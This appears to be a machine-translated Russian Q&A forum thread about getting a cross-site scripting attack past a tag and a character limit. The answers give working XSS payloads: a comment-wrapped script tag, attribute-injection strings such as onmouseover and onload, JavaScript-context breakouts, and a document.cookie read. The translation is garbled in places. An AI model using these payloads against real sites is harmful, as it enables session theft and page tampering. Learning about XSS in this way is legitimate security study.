XSS с <script> следуют <br/>

Question

Как вы выполнить атаку XSS с этими ограничениями:

[input 1] <br/> [input 2]

вход 1 имеет следующие ограничения: - только 10 символов - Unsanitized

Вход 2 имеет следующие ограничения: - «<», «>», «&» дезинфицированы - никаких других ограничений

Кроме того, веб-страница допускает постоянный ввод, но как только я открываю тег, я не могу выполнять дополнительные входы.

Я попытался сделать:

<script> <br/> alert(document.cookie)

Но это, кажется, не работает, по-видимому, из-за бр теге там. Любые мысли о том, как я должен действовать?

Answer 1

Например: <script>/* <br/> */ alert(1); /*

Answer 2

Вы сказали:

Input 1 имеет следующие ограничения: - только 10 символов - Unsanitized

Если значение этого входа просто отражается в на странице (без элементов управления максимальной длины на стороне сервера), вы можете использовать инструменты разработчика вашего браузера, чтобы увеличить значение maxlength для ввода, а затем введите нужную полезную нагрузку.

И тогда вы сказали:

Input 2 имеет следующие ограничения: - "<", ">", "&" не продезинфицировать - Никаких других ограничений

Теперь это зависит от где отражается значение этого входа:

Если значение параметра ввода отражено в Javascript, вы можете попробовать:

";alert('XSS');// 
");alert(document.cookie); 
; window.open(www.google.com); 
';alert(String.fromCharCode(88,83,83))// 

Если значение параметра Input отражается во входном теге HTML или в другой HTML-код, вы можете попробовать:

1? onmouseover=alert("xss"); " 
"onload='confirm("test XSS")’ 
" onload=window.open(www.google.com) 
" onload='javascript:alert(1)’ 

XSS зависит от того, где он отражается !!! Вы тоже должны использовать свой мозг.